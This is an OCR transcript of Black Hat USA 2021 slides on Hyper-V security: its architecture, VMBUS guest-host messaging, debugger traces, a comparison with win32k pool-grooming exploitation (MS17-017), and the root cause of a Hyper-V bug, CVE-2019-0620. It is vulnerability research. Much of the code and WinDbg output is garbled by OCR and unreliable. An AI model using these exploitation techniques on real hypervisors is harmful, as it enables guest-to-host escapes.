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Agenda

* Hyper-V Architecture

* Hyper-V Guest and Host Communication
* Why Hyper-V is difficult

* Vulnerabillities Detalls

* Attack Interface

* Concluding Thoughts

#BHUSA @BlackHa tEvents



blgc’:k hat

LISA 2021

Hyper-V Architecture
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Architecture

Root Partition Child Partition

Ring 0 Ring 0

Host Drivers Guest Drivers

Hypervisor (Ring -1)
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Architecture - Hypervisor

Hypervisor

hvix64.exe hvax64.exe
(Intel CPU) (AMD CPU)

SAERELRY MSRs Virtualization APIC Virtualization
Management
VM-Exit Handlers Nested Virtualization
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Architecture - VMBUS

Host Kernel Space(Ring 0)
VMBUS Host

vmbusr.sys
vmbkmclr.sys
winhvr.sys

NT (ntoskrnl.exe)
Y

Guest Kernel Space(Ring 0)
VMBUS Guest

Linux : hv_vmbus.ko
Windows : vmbus.sys

vmbkmcl.sys
winhv.sys

Guest Kernel

Hypervisor Ring -1 (hardware)
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Architecture — Host Drivers

Network Virtualization
vmswitch.sys

VMSProxy.sys
vmsproxyhnic.sys

PCI Virtualization

VPCIVSP.SYS

Host Drivers

Storage Virtualization
storvsp.sys

vhdparser.sys
vhdmp.sys

hvsocket

hvsocket.sys
hvsocketcontrol.sys
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Architecture - VMWPs

vmconnect.exe (Virtual Machine Connection)
t socket

VMWP.exe (Virtual Machine Worker Process)

Virtual Machine Dynamic Memory VM Ul Devices
Integration Service Controller

vmiccore.dll vmdynmem.dll vmuidevices.dll
vmicvdev.dll

etc. -0
l /0 Write /0 Read

VMBUS
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Hyper-V Guest and Host
Communication
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Communication
»VMBUS initialize in Linux Guest.

int vmbus_bus_init(void)

int ret;

ret = hv_init();
{ret 1= 8) {

pr_err("Unable to initialize the hypervisor - @x%x\n", ret);
ret;

= bus_register(&hv_bus);
(ret)
ret;
hv_setup_vmbus_irq(vmbus_isr);
hv_synic_alloc();
(ret)
err_alloc;

ret = cpuhp_setup_state(CPUHP_AP_ONLINE_DYN, "x&6/hyperv:online”,
hv_synic_init, hv_synic_cleanup);
{(ret < @)
err_alloc;

bhsrmomee —wmashe: cem T S omes o st a
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ret = vmbus_connect();

(ret)
err_connect,;

Communication

>VM BU S I n Itla | IZe I n LI n UX (ms_hyperv.misc_ features & HV_FEATURE GUEST CRASH MSR_AVAILABLE) {

int vmbus_bus_init(void) regl?ter_d%eTnotlfl?r{&hyFerv_dle_h}ﬂck};. . .
[ atomic_notifier chain_register(&panic_notifier list,

~ int ret; &hyperv_panic_block);

¥
ret = hv_init();
(ret 1= 0) { vmbus_request_offers();
pr_err{"Unable to initialize the hypervisor a;
ret;
1 err_connect:
ret = bus_register(&hv_bus); cpuhp_remove state(hyperv_cpuhp_online);
(ret) err_alloc:
ret; hv_synic_free();
hv_setup_vmbus_irg(vmbus_isr); hv_remove vmbus_irq();
ret = hv_synic_alloc(}; bus_unregister{&hv bus);
(ret) ret;
err_alloc; I

ret = cpuhp_setup_state(CPUHP_AP_ONLINE_DYN, "x&6/hyperv:online”,
hv_synic_init, hv_synic_cleanup);
{(ret < @)
err_alloc;

bhsrmomee —wmashe: cem T S omes o st a
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Communication
»VMBUS device initialize.
»vmbus_open

alloc_pages hv_ringbuffer_init
Allocate
continuous pages
for VMBUS
ringbuffer.

VMBUS ringbuffer
Initialize.

vmbus_open

vmbus_establish_gpadl|

Establish a GPADL for the
specified buffer.

Use vmbus_post_msg send
CHANNELMSG_GPADL_HEA
DER &
CHANNELMSG_GPADL BOD
Y message to Host

CHANNELMSG_OPEN
CHANNEL

Use vmbus_post _msg send
CHANNELMSG_OPENCHAN
NEL message to Host
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»Send data to Host : vmbus_sendpacket
int wvmbus_sendpacket(struct wvmbus_channel *channel, void *buffer, h\/__ringbuﬂ:er__.vvrite3

u32 bufferlen, ubd reguestid,
enum vmbus_packet type type, u32 flags)

struct vmpacket_descriptor desc; hV_Slg nal_on_W”te

u32 packetlen = (struct vmpacket descriptor) + bufferlen;
u32 packetlen_aligned = ALIGN{packetlen, (usd));
struct kvec bufferlist[3];

ubd aligned data = @; VmbUS_Setevent

int num_vecs = {(bufferlen !=8) ? 3 : 1);

vmbus_set_event

desc.type = type;
desc.flags = flags;

hv_do_fast hypercall8

desc.offset8 = (struct vmpacket descriptor) »>»> 3;
desc.len8 = (ul6)(packetlen aligned >»> 3);
desc.trans_id = requestid;

bufferlist[@].iov_base = &desc;

bufferlist[@].iov_len = {struct vmpacket descriptor);
bufferlist[1].iov_base = buffer;

bufferlist[1].iov_len = bufferlen;

bufferlist[2].iov_base = &aligned data;
bufferlist[2].iov_len = (packetlen aligned - packetlen);

hv_ringbuffer write(channel, bufferlist, num vecs); #BHUSA @BlackHatEvents
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u6d hv _do fast hypercall8(ul6é code, ubd inputl)
ubd hv_status, control = (ub4d)code | HV_HYPERCALL_FAST BIT;

CONFIG_X86 64

int wvmbus_sendpac

u3 asm__ _ volatile_ (CALL_NOSPEC hv_ringbuffer write

en : "=a" (hv_status), ASM_CALL_CONSTRAINT,
"+c" (control), "+d" (inputl) . .
struct vmpack : THUNK_TARGET(hv_hypercall pg) hv_SlgnaI_on_erte

u32 packetlen . e Emm o - = -
u32 packetlen : "cc”, "r87, "r9”, "rl1@”, "ril7);

o e vmbus_setevent

u32 inputl hi = upper 32 bits(inputl);

u32 inputl_lo = lower 32 bits(inputl); vmbus set event

IESESDIE S asm __ volatile  (CALL_NOSPEC

desc.flags = . o

=l EEEE hv_do fast hypercall8
desc.offset8 "+c"(inputl_lo), T o o
desc.len8 = ( ASM_CALL CONSTRAINT
desc.trans_id : "A" (control),

"b" (inputl_hi),

bufferlist[0] THUNK_TARGET (hv_hypercall_pg)
bU'F'FEI"llSt[-.."] IICCIIJ llEdillJ rrESirrjj
bufferlist[1]
bufferlist[1]
bufferlist[2]
bufferlist[2] hv_status;

b

h"."_r'-_nsl.;ul Pl W LLS  Ciiaiiis L, DU TS LD, Ul VTR D o

#BHUSA @BlackHatEvents




4]

black hat

LUSA 2021

Communication
»Receive data form Host : vimbus_on_event
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void vmbus_on_event{unsigned Long data)

1

struct wvmbus_channel *channel = (void *) data;
unsigned Long time limit = jiffies + 2;

trace vmbus_on_event(channel);

{
void (*callback fn)(void *);

callback_fn = READ_ONCE(channel->onchannel_callback);
(unlikely(jcallback fn == NULL))

3

(*callback_fn|) (channel->channel_callback_context);

(channel->»callback mode != HV_CALL BATCHED)

¥

{likely(hv_end read(&channel->inbound) == 8))

3

hv_begin_read(&channel->inbound);
1 {(likely(time before(jiffies, time limit)));

tasklet_schedule(&channel-»callback_event);

int wvmbus open(struct vmbus_channel *newchannel, u32 send ringbuffer size,

u3?2 recv_ringbuffer size, void *userdata, u3d2 userdatalen,
void (*onchannelcallback)(void *context), void *context)

struct wvmbus_channel open_channel *open_msg;
struct vmbus channel msginfo *open_info = NULL;
unsigned Long flags;

int ret, err = @,

struct page *page;

(send_ringbuffer size % PAGE_SIZE ||
recv_ringbuffer size % PAGE_SIZE)
-EINVAL;

spin_lock irgsave(&newchannel->lock, flags);
{(newchannel-»state == CHANNEL OPEN STATE) {
newchannel-»>state = CHANMEL OPENING STATE;
¥ {
spin_unlock irgrestore{&newchannel->lock, flags);
-EINVAL;
h

spin_unlock_irgrestore(&newchannel->lock, flags);

newchannel->onchannel callback = onchannelcallback;
newchannel->channel callback context = context;

#BHUSA @BlackHatEvents
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Communication
»VMBUS in Host

»There are two functions, vmbkmclr!KmclpVmbusManuallsr and
vmbkmclr!KmclpVmbuslsr

»vmbkmclr!KmclpVmbuslsr : distribute guest data to Host driver.
(storvsp.sys vmswitch.sys )

»vmbkmclr!KmclpVmbusManuallsr : distribute guest data to host
usermode component. (vmuidevices.dll vmdynmem.dll vmicvdev.dll =)

#BHUSA @BlackHa tEvents
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Communication
»Data path to Ring0 (vmbkmclr!KmclpVmbuslsr)

Guest data
»For example, storvsp.sys

b: kd> g 0: kd: dd @r8
Breakpoint 1 hit ffffall? =ec957440 00000003 O000OO0CO1 OOQOOOQOO0Q OOQOOOQO34
=torvsp | VepPvtEKnclProcessPacket : ffffalld? e6957450 01000000 0001140a 00000008 0000014a
fffff807 A75331f0 488952408 o qgword ptr [rsp+8].rbx ffffall? =c957460 00000010 O00OOOQCOS OO0OOOQOO0O OOQOOOQOO0
0: kd: Lk ffffal07? =6957470 00000000 00000048 0000003c 00000000

# Child-SF FetAddr Call Site ffffall? 6957480 e6957338 {fffal07? =6957490 ffffal0?
00 ff£££807 52427948 f££££0807 61204661 =torvsp! VepPvtEKnclProcessPacket ffffal0? =6957490 00000000 OO0OOOQOCO0Q OOOOOQOOOQ OOQOOOQOO00
01 fffff807 5242790 f££f£f£f807 61201a7e wmbknclr ! InpProcesslusue+lzlch ffffall? e69574a0 00000000 OOOOOQOCO0O OOOOOQOO0Q OOQOOOQOO0
02 ff£££807 52427270 £££££807 761201632 wnbknclr ! InpFillAndProcessQueus+lxzies ffffal0? e69574b0 00000000 OOQOOOQOO0Q OOOOOQOOOQ OOQOOOQOON
03 fff££807 5a427ad0 f££££807 6547121 wmbknclr | EmclpVnbusI=sr+0x132 0: kd: r @9
04 fffff807 5ad27b40 f££ff£f807 65471191 wmbusr ! ChReceiveChannel Interrupt+0x3c r3=0000000000000040
0E fffffR07"Cad427b70 ff£f£f£807 5b3230ce wmbusr|ParentRingInterruptDpo+0=8]] !L\\\\‘ -
0 f££££907 Cad27bb0 £££££807 °5b3223bd nt |KiExzecutelAllDpos+0x30e Guest data S|Ze
07 ff£f££807 52427420 f££f£f£f807 5b3fdces ntlKiFetireDpelist+0xl1f4d
08 ff£f££207 Cad27ib0 £££££807 Cb3£fdat0 nt!ExRetireDpocli=t+0=x5
09 f£££9d04 clec?9cl £££££807 5b3£fd305 nt!KiDispatchInterruptContinue
Nz f£££9d04 clec?9f0 f££££807 E03£8791 nt!KilpocInterruptBypass+0x25
Ob tf££{9d04 clec?all 00007ffe’ 9cf8dlas nt!KilnterruptDispatch+0xzbl

= - = = = = =
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»Data path to Ring3 (vmbkmclr!KmclpVmbusManuallsr)
»For example, vmiccore.dll

kd: Ik

Child-SFP Fetiddr Call Site

ffff£807 Cad27aal £££££807°6547197f wmbusr!PipeConpletelrpli=st+0=xie
fffff807 CaddYadl £££££807°6120422d wnbusr!PipekEvtChannelSigralirrived+0=x9f
fff££f807 Cad27bl0 £££££807 6547121 wvnblknclr | EnclpVnbusManuallsr+0x1d
tff££807 Cad27bd0 £££££807° 65471191 wmbusr!ChReceiveChannel Interrupt+0xic
fEff£807 52427070 £££££807 5b3230ce wmbusr!|ParentRinglnterruptDpo+0xil
fff££A07 5a427bb0 £££££807 5b3223bd nt!|KiExecutedl1Dpo=+0xile

fEf££807 5ad27d420 £££££807 5b3fdehlb nt!EiRetireDpclist+0xlfd

ffff£a07 5a427fb0 £££££807 5b3fdabl nt!ExRetirelDpoclList+0x5

ffff9d04 clesf9c0 £££££807 5b3£fd305 nt!KiDispatchlInterruptContinue
t£££9d04 cleef9f0 f££££807 5b3fc3ida nt!KilpoclnterruptBypass+0x25

ffff9d04 cleefall 000000007 5bald??b ntlKiVmnbusInterruptDi=patch+lxaa

[}

0 |20 |3 o o e o o 2 = -

|DDDDDDDDDDD
it}
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»Data path to Ring3 (vmbkmclr!KmclpVmbusManuallsr)
»For example, vmiccore.dll

0. kd> k I
# Child=SE Eetidd: Call Site
o0 f£80: kdr u @rip
01 fifvmbusr!PipeCompletelrplist+ixie:
02 fEfRff£££807 6547182 e8ddoied£h call nt!lIofCompleteRequest (£L££££807°5b230dd490)
03 ffRff£f££f807 6E471ab3 =bed Imp vmbusr | PFipeConpletelrplist+0=x9 (f££££807 65471a79)
04 fERf£f£££807 65471abs 903000000 mow ecH, 3
05 ffRfff££80765471aba =d29 int 29h
06 fERff£f££807 65471abo co int 3
07 ffffff£807 65471abd co int 3
08 ffff£f£f£807 65471abe co int 3
09 fEffff£807 65471abf co int 3
Oz fff0: kd: lirp @rcx

Irp i= actiwve with 3 =tacks 3 i= current (= Oxffffa107=fdB=f50)
Mdl=ffffal07fd99b840: Ho Swy=tem Euffer:|Thread ffffal07f3=cd0B0: |Irp stack trace.
cmd flg cl Device File Completion—Context
[HroACOD), HoACD)]
0 0 oooooooo oooooooo oooooooo-0oooooon

Args: 00000000 00000000 00000000 Qoooadoado
[HsA(0), HsACDG]
0 0 oooooooo oooooooo ooooQooo-oaooooon

Arg=: 00000000 QOOOOQOO OOOQOOOOO oooOQoooo
»[IRF_MJI_READ(3). HsA(D)]
0 1 ffffald?e?d2d7bl0 f£££a107£a402500 00000000-00000000 pending
sOriversymnbusr
Args: 00003400 00COOOOO0 00000000 00000000
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e
0: kdr !thread ffffall7f3=cd0i0
THREAD ffffs107f3=cd080 Cid 22c8. 2c28

Teb: 000000d146696000 Win32Thread:

tfffalld?idaddiel HotificationEvent

ffffald?fd94c860 SynchronizationEvent
IRF List:

ffffalld?ecdiedil: (0006.01£f0) Flags: 00060900 Mdl: £i££fa107£d4d99L340
Hot impersonating
Devicelap ffffhlAbe?dchaal
Owhing Process ffffall?fane? 0z Inage: VWD . EEE
Attached Proces== Heoa Inage: Hoh
Wait Start TickCount 126006 Ticlks=: 128 (0:00:00:02.0007)
Context Switch Count 12 IdealFProcesz=or: &
TzerTine ao:0o0:00. 000
KernelTime ao:0o0:00. 000

Windd Start Address ucrtbasze!thread start<unsigned int (_ cdecl#*){wvoid ),
Staclk Init ff£f9d04bfb3db90 Current ffff9d04bfbBcezl

Ba=e f{££9d404bfb3=000 Limit ££££9404LEfLET7000 Call 0000O0O00OQQOOOOO0O0
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority &

noooooooooooooon WAIT:

1> (0=00007ftead341b70)

{T=zerFeque=st) UssrHode Hon-Alertable

Scheduling Group: ffffal07f£57=1090
Child-5SF Retiddr Arg=s to Child Call Site
f£££9d04 bfbBcebD f££££807  Sb20s970 f££f8c00" 35bodl180 ££££8107 00000000 ££££2107 £3ecd080 f£££2107 00000000 nt | KiSwapContext+0=x76
f£££9d04 bfbBcfal f££££807 Sb20bedf Qoooooof 00000005 0Oo00o0OO00 00000004 ££££9404 bfbEd190 ££££9404° 00000000 nt | KiSwapThread+0=500
f£££94d04 bfbEd050 £f££££807 5b30%1le ffffal07 00000000 ££££E8<00° 00000000 ££££2107 £3ecd?00 00000000 QOOOOQO0Q0 nt | KiCommitThreadWait+0x14f
f£££9404 bfb8d0f0 f££££807 Sbode970 f£££9404 bifb8d4b0 0O0O00QO00 Q0000001 f££f£fa107 £d494c830 f£££a107 f66270c0 nt |KeWaitForMultipleObjects+0xZbe
f£££9d04 bfb8d200 f££££807 Sbbdocbdd gooooodisooooooon oooooooo- 40000010 00000000 Q0000000 00000000 Q0000000 nt |ObWaitForMultipleObjects+0x2{0
f£££9d04 bfb8d700 f££££807 Sb408505 ffffall? f3ecd080 0OO0OO0OOO0" 00000beD ££££2107° £3ecd080 00000041 468ffoe=0 nt I HtWaitForMultipleObjects+0x119
f£££9d04 bfb8d990 00007ffe" afbads974 0o007ffe’ ad09cEal 0OO0OO0OQOO0" QOOO0OQ000 OOO0OO0OQdL" 46622000 00000000 Q0000002 nt | KiSy=stenServiceCopyEnd+0x25 (TrapFrame @ ££{{9d04 bibBdal0)
ooooo0dl - 4e8££828 00007ffe" ad09cEal gooooooosooooooon ooQoo00di-46622000 00000000 Q0000002 O0O0OOQOOOOQ " QOOOO0O01 ntdllIHtWaitFordultipleObject=+0x14
000000d1" 468£f£f830 00007 ffe’ adl%9-d9e ooooooonT oo000oo000 00007ffe"7f0£19=7 00000000 OO0O00BOO OO0OOQOOO0" OOQOO0O002 KERHNELBASE | WaitForMultiplelhjectsEx+0=f0
0o00o00d1l- 468ffb20 00007 ffe" Ff0f1860a 01476740 0470£741 00000000 02000002 OO000O00" 00000000 OO0O0OO0OQOO0" fffffffd : KERNELBASE!WaitForMultiplelbhjects+lze
0o00o0dl- 468ffba0 00007 ffe’ 7FE0f1a37 oooonodl- 468ffoel 000002157 A6220090 00000000 00003400 000000C00° 00000bed @ wmiccore! ICEventMonitor: :WaitInternal+0=72
0o00o00dl- 468ffcd40 00007 ffe” FEOf2£21 00000000 00000000 00000215° A5Adaa3l 000002157 A5Adaa30 00000000° 00000000 : wmiccore! ICEventMonitor: :WaitForEvent+0zdh
ooooo0dl  4e8ffcal 00007ffe" 7E£0£3104 oo007ffe" 7E£100£70 00007fif="00000008 O0O0OOOODO" 00000000 0OOD7ffe’ ad0992eb : wvmiccore!ICTransport: Performlolperation+lxzlal
ooooo0dl- 4e8f£fde0 00007ffe"7E£0£1240 00000215 66220b90 0O00O00OQO00 00000000 000002157 651d5ab0 00000000 Q0000000 ;| vmiccore! ICTransport : :Read+0x24
oo0oo0dl- 4e8ffdb0 00007ffe’ ad3d4lbb2 00000215 66159150 00000215 66159150 00000000 00000000 0OOOOQOO0 00000000 : wmiccore! ICEndpoint . DizpatchlhreadFunc+0x90
oo0oo0dl- 468ffel0 00007ffe" addf 7034 gooooooo-ooooooon OoQoooo0o 00000000 00000000 00000000 oO0oQo0o0" Qooooooo ucrtbase! thread_start<unsigned int {_ cdecl#*)({wvoid #*), 6 1:+0x42
ooooo0dl- 4e8ffed0 00007ffe " afS62R51 gooooooo-ooooooon OoQoooo0o 00000000 00000000 00000000 oO0oQo0o0" Qooooooo KEERNEL3Z? | BaseThreadInitThunk+0=z14
oooooodl-4e8ffe70 00000000 QOOOQOO0 gooooooosooooooon oooooooo 00000000 oO0000000" 00000000 oO0oOQo000" Qooo0o0o0 ntdll IRt 1UserThreadStart+0=x21

4 S 4 NY L I o Y R

0 1 ffffal0?e?42d7b0 ££££2107£2402500 00000000-00000000 pending

sOriversymnbusr
Args: 00003400 00COOOOO0 00000000 00000000
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Why Hyper-V is difficuit?
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Compare with Win32klEngRealizeBrush Integer Overflow (MS17-017)

»win32k!EngRealizeBrush Integer Overflow Exploit
®CreateBitmap allocate Bitmap object(size can be controlled)

®RegisterClassEx allocate LpszMenuName object(Pool feng-shui for ENGBRUSH
object)

®CreatePalette allocate Palette object(size can be controlled & abuse object
gaining memory R/W)

®DeleteObject & UnRegisterClass control object free(Pool feng-shui)

®\\/e can control the content of Bitmap objects and Palette objects.(Construct
memory R/W)

#BHUSA @BlackHatEvents
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Compare with Win32k!'EngRealizeBrush Integer Overflow (MS17-017)

Traditional EoP Hyper-V Exploit

 No APIs.
All data is transmitted via VMBUS, Ring0 unable to
read data from Guest memory space directly.

Attack Lots of APIs.
Interface * RingO0 read data from User-Mode address directly.

* No suitable object for abuse.(Still Finding...)
» Lots of objects can be abused so far. « Unable to control object Allocate & Free directly.

Object Allocate Allocate & Free kernel Object is easy control. Unable to control the timing of object Allocate &

& Free « Construct memory R/W by control the content of Free.(Because of VMBUS mechanism)
kernel objects. » There is very little content in the object that can be
controlled from Guest.
« Have a User-Mode pointer. : : : :
TOC/TOU » Fetch the pointer(User-Mode memory) more than AlCEIE IS IENSEVE WHIETS, Rilgy Ui

once read data from Guest memory space directly.
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CVE-2019-0620

EDTARGET: Refreshing KD connection |

00 ££f£9f02 ef9edbald fffff800°87edcli? nt!DbgBreakPointWitRss

9f02 =ef%=£410 tf802" ade2dS1lb vhdmp! VhdmnpiFileWrapperCallDriver+0x291

%%% Fatal Swst E . 0=00000050 10 f£££9f02 ef9esbil ff£{i£f802 a4dcd9b8 vhdmnp! VhdmnpiSrbPartContinuseComplete+0xl11f
ata YELENL Lrror. X 11 f£££9f02 ef9esb?0 ff£{£0802 ad4dcdd367 vhdmnp! VhdnpiVhd25SrbRangeConplete+lzed
(OxFFFFO708A8FABFATE, 0x0000000000000075 $fff9f02 ef9echhl ffff£802 addcadbd vhdnp!AeProces=Todo+0=37
Driver at fault: 13 f£££9f02 ef9eecil ff££{802 addcacc? vhdmp!?hdmpi?thSubIDCDmpletiDnRDutinE+Dxbd
i b o add FFFFFE02A3R62765 b ¢ FFFFF 14 f£££9f02 ef9%ecel fL£££800° 87cddbof whdmnp! YhdnpiSrbPartIoConpletionEoutine+0=x137
VILLUST . S¥= reEss A=E a 15 ffff9f02 efYeeccl fEfffE00°B7-44a97 ntl IopfCompleteRequest+0mllf
E Lk inst b b _ de 80000003 (first ch 16 f£££f9f02 ef9eedeld ff£{£f802 addebl?3 nt!|IofCompletefequest+0xl7
TEIX 1nstrucilon sZcsplion — Cods (first chancel iy (fff9f02 ef9eeell ffff£800° 87cddbof vhdnp! VhdnpilainOff losdIoConplet ion+0=83
4 fatsl svetem error has occurred 13 f£££f9f02 ef9essdl ff£££800° 87244297 nt !l IopfCompleteRequest+0xl11f
Deh ¥ £ a fire=t trv- B : heck llbacks h N 19 f£££9f02 ef9esfol ff£{£802 alcla??? nt!IofConpleteRequest+0x=17
shugger entered on lirst LY. bugtheck CallbAcks Dave NObl . ffff9f02 =f9==f90 ff£f££802 aldc4820 Hitfs!HtfsExtendedComnpleteRequestInternal+0x187
i fatal . W 4 1h ffff9f02 =f%f000 fffffR802 aldB09%c Ntf=IHtf=0ffloadlrite+0=fd
atal S¥sien error has occurred. 1o fEEE9f02 ef%f110 ffff£fR02 alococoe9h Htfs!HtfsUserFsRequest+0z=bifdc
ot | DbaBroskPoint TithStatus 1d ffff9f02 =f9=f190 fffffR00° 87cd?ef9 Hifs!HtfsF=dFileSystenControl+0=13b
fffffgﬂﬂ‘ﬂ?deDcD i - int 3 le fEEf9f02 ef%f2c0 fEEffR802 alb87207 nt!lofCalllriver+0x59
1 ki k 1f f£££9f02 ef9ef300 f££££802 albbasdl FLTHGR!FltplegacvyFrocessingAf terPreCal lbacksConpleted+0x157
# onila_ap Pt Addr Call Site 20 ffFf9f02 =f%f370 fffffR00 87cd?efd FLTHGRIFltpFeControl+0=110
21 fEEf9f02 ef%f3d0 ffff£fR802 addcbl0l nt!lofCalllriver+0x59

Ffff fif

Ffff

Ffff

Ffff

Ffff

01 ££££9£02 efYedbbl £££££800 67=4b832 nt!KiBugCheckDebughy, 4 9f02 =f9=f490 fffff800° 87c5ee2S vhdnp! VhdnpiVdlExpansionWorkerRoutine+0x35h
02 ££££9£02 effedcll fEE££800 87d01597 ntlKeBugCheckl+lxity, 9f02 =f9=f540 Fffff800° 87c7b4f7 nt!ExpWorkerThread+0=Es
By HIffofns cfjeeiin [ILLRND 27dloeld nt RefugCheckbxilxzllse 9f02 ef9ef5d0 fffff800° 87dbB906 nt!PspSystemThreadStartup+lzd?
Rl . g5 ntollioystentaultrongs, 9f02 ef9=f620 00000000° 00000000 nt!KiStartSystemThread+0xzl6
N5 ffff9f02 ef% edbld f{{{{800 87dbebda nt!MnicceszsFault+0x
Ot £££f£9f02 ef9=e620 f££££802 a3b62265 ntlKiPageFault+0xila
07 ff££f9f02 ef9%% e?bl f{£££802 23592238 wnbu=r!|BusChGpalirectTeardownMdl+0x35
08 f£f£f£f9f02 ef9==800 f££££802 2359295 vmblknclr ! InCompletePacket+0x88
09 f£££9f02 ef% el fL£££802°a3£4257d wnblnclr ! YnbChannelPacketConplete+0=xzl5
Na f£f£f£f9f02 2f9==8f0 fE££££802 2342513 =torvep! VetorConpleteScziRequest+0x2dd
b f£££9f02 ef9e=920 ff£££0802 a4d9123c storvep ! VetorConpleteSc=iFequest+0x27 3
o ffff9f02 ef% e%9 =0 {{{{£802 a4ddf940 vhdpar=zer!|HVhdIoParserEndIo+0=xz7c
0d f£££f9f02 ef9e=sall ff£{£f802 ad4deb202 vhdmp! VhdmnpiPerformExztraScsiActions+0xald
e f£££f9f02 ef9esadl ff£i£f0802 ad4dzdbd? vhdnp! VhdnpiCompleteParzerRequest+0=z6bZ
0f f£££f9f02 ef%%ebll f{ff£802 addcdatf wvhdmnp!VhdnpilDecrementIoRef CountSrbExtension+0=z22
e
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»Root cause : Into vmbkmclr!'VmbChannelPacketComplete twice with
SAME first parameter.

0: kdr u storvep!VstorConpleteSceiRequest+0x2d?
=torvsp! V=torConpleteScesiRequest+0xz2d7
tffffa08° Yb832577 ££15b3=f0000 call gword ptr [storvsplV=torSendHotification+0xad90 (£££££808° 7bA415300]
ffff£8083° 7hbB3257d 4885dhb test rh=, rb=
tEf££808° Ybh332580 7416 = storvsp! VetorConpleteSc=iRequest+0x2£8 (f£f£££8083° Ybh332598)
fEf££8083° 7h3325832 230BRTEO7000000 cmp bvte ptr [rbhx+778h].0
ffff£a8083° Yb332589 7404 JjE storvsp! VetorConpleteSceiRequest+0=2£8 (ff£££8083° Yb332598)
ffff£808° 7b3325830h 4884333070000 lea ro=, [rhe+788h]
tffff803° YbB32592 f£1558=bL0O000 call qword ptr [storvsplV=torSendHotification+0xals0 (f££f££808° 7bA3410£f0)]
tff££808° Yb332598 488bE5z2420 mnov rhx, gword ptr [rsp+20h]
0: lkd: dg= f£££f£308° 7b841530
tEf££808° Yb841530 fff£f£808° YadeZ990 wvwnbknclr ! VYmbChannelFacketConplete
ffff£308° 7b341533 £fff£f£808° Yade=e920 vwmblknclr ! VYmbServerChannelInitSetVmbusHandle
tff££808° Yb341540 fff£f£808° VadeseSf0l wnblknclr ! V¥mbChannelInitSetMazinunPaclketSize
fEff£8083° 7h341548 fff£f£808° Yade?dZ20 vmblkmnclr!VYmbChannelSizeofFPaclket
tfff£803° YbB41550 fff£f£808° YadeicZl0 wvmblkmnclr!YmbPaclketGetPointer
tff££8083° Yb841558 {ffff£808° Yadeiczel wmblkmnclr ! YmbPaclketSetPointer
tff££8083° YbB41560 fEf£f££808° YadeY320 wvmblknclr!YmbChannelGetHodeHunber
tff££808° Yb341568 {ff£f£f£808° Vadeidcsh0 wnblknclr ! VmbChannelGetPointer
fff£f808° YBB41570 fff£f£R08° Yadf?28cz0 vwmbknclr ! YmbChannelSavreBegin
fE£££808° 7b841578 ££f£f££808° 7adfzadl vmblkmclr!VYmbChannelSaveEnd
tff££808° Yb841580 fff£f£808° VadfZefl wmblknclr ! VmbChannelRestoreFromBuf fer
tffff803° YbB41588 fff££808° VadfZ29830 wvmblkmnclr!VYmbChannelSaveContinue
fE£££8083°7b841590 ££f£f££808° Yadflc30 vmblmclr ! YmnbChannelFause
FEE££808°7bB41598  f£Ef£££808° Yadflch0 vmblkmnclr ! VnbChannel Furge
fE£££808° 7b8415a0 £f£f££28008° Padflcdl vmblknclr ! VmbChannelStart
fEff£808° 7b8415a8 fffff808° 7ade3bt0 wmbkmclr!V¥mbPacketInitializd
#BHUSA @BlackHatEvents
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»bp storvsp!VstorCompleteScsiRequest+0x2d7 "r @rcx;k;r
@$%$thread;!pool @rcx;.echo ; g“

»>Trigger this issue, and see what happened in WinDbg,.
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rox=ffffcBEf40=05000

a: kd:r g

¥ Child-SF
o0 ffff£001°
01 ff£££001°
02 f££££001°
03 fff££001°
04 £££££001°
05 ff£££001°
06 ffff£f001°
o7 fffff001°
og ff£££001°
09 ffff£001°
Oa fE££££001°
Ob £££££001°
Oc fE££££001°
0d ffff£001°
O= £E££££001°
Of f££££001°
10 t££££001°
11 f££££001°
12 ff£££001°
13 f££££001°
14 f££££001°
15 fff£f£001°
16 f££££001°
17 tffff001°
13 f£f£££001°
19 f££££001°
la f£E£££001°
1b £££££001°
le £E££££001°

2adceBfl
2adce920
Zadchb9e(
Zadceall
Zadchadl]
Z2adcebin
2adcebil
2adceb?O
2adcebhbl
Zadcbc0l]
Zadchohl]
Zdadcbecl
Zadcbdel]
Zadceell
fdadcbed(]
2adchfel
Z2adcefl
2ad4=7000
2ad4c=7110
2adc7190
Z2adc? 2l
2ad4c=7300
2adc?ai0
2adc?ado
2ad4c=7410
2adc7490
2a4c7540
2a4c=75d0
2adc?e20

Fetiddr

ffff£a08"
fff££a08°
fff££E08°
ffff£a08"
fff££a08°
fff££E08°
ffff£a08"
ffE££208°
fff££a08°
fff££E08°
ffff£R01°
fff££201°
fff££E08°
ffff£R01°
fff££201°
fff££E08°
ffff£a08"
ffE££208°
fff££a08°
fff££801°
ffff£a08"
fff££a08°
fff££801°
ffff£a08"
fff££a08°
fff££801°
ffff£R01°
fff££201°
oooooaooo”

Sthread=fff{fc88f3f=d7040
Pool page ffffcB8f40=05000 region is= Honpaged pool
*ffff=88f40=05000
Pooltag Vlin

7b332513
7c431230
o4 7940
7c465202
7cdbdb4z
‘cdbdaff
7c4649b8
7c464867
7cdbadbd
‘cdbacc?
cacctbof
caccfal’?
7c48b173
cacctbof
caccfal’?
7alba???
7aZed4820
7az2l%c
7albc=S9b
caccdef 9
78ad? 207
78b0a=d0
caccdef 9
7c46bl101
7cd4cdBlb
cace9=35
cadledf?
casd 3906
gooooooo

Hyper-V¥

Call Site

ztorvep | VetorConpleteSceiRequest+0x2/d7

=torvasp | VetorConpleteSceiRequest+0x2 73
vhdparser | HVhdIoParserEndIo+0xz7c

vhdmp | VhdmnpiPerfornExtraSceiAct ions+0xad

vhdmnp | VhdnpiConpleteParserRequest+0=z6h2

vhdnp ! YhdnpilDecremnent IoEef CountSrhExtension+0=2 2
wvhdmnp | VhdmpiSrbPartContinneConplete+0xl11£
wvhdnp | VhdnpiVhdSrbRangeConpl ete+lxel

wvhdmp | AeProcessTodo+0=x37

vhdnp ! Yhdnpi1VhdZ5SubloConplet ionEout ine+0xbd
wvhdmp | VhdmpiSrbPart IoComplet ionEoutine+0=137
nt !l IopfCompleteRequest+0x11f
nt!IofConpletefequest+0x17

vhdmnp | VhdnpiMainOf f loadIoConplet ion+0x833

nt !l IopfCompleteRequest+0x11f
nt!IofConpletefequest+0x17
Hti=lHtisExtendedConpleteRequest Internal +0x187
Htf=INti=OffloadWrite+0xfd

Htf= I Htf=l=zerFeRequest+0xb3ifdc
Hti=zlHtf=sF=dFileSy=stenControl+0=x13b
nt!IofCalllriver+0=59

FLTHGR I FltplegacyProcessinghf terPreCal lbacksConpleted+0x157
FITHGR | FltpF=Control+0x110
